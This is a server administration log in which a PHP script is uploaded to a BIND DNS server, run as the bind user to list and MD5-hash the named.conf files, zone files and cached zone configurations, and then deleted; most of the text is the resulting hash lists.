MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:57:00: Establishing a connection
2026-04-23 13:57:01: 

PUT: /tmp/pkp461852

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:57:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp461852; rm /tmp/pkp461852'

2026-04-23 13:57:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:05:00: Establishing a connection
2026-04-23 14:05:00: 

PUT: /tmp/pkp980265

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:05:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp980265; rm /tmp/pkp980265'

2026-04-23 14:05:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
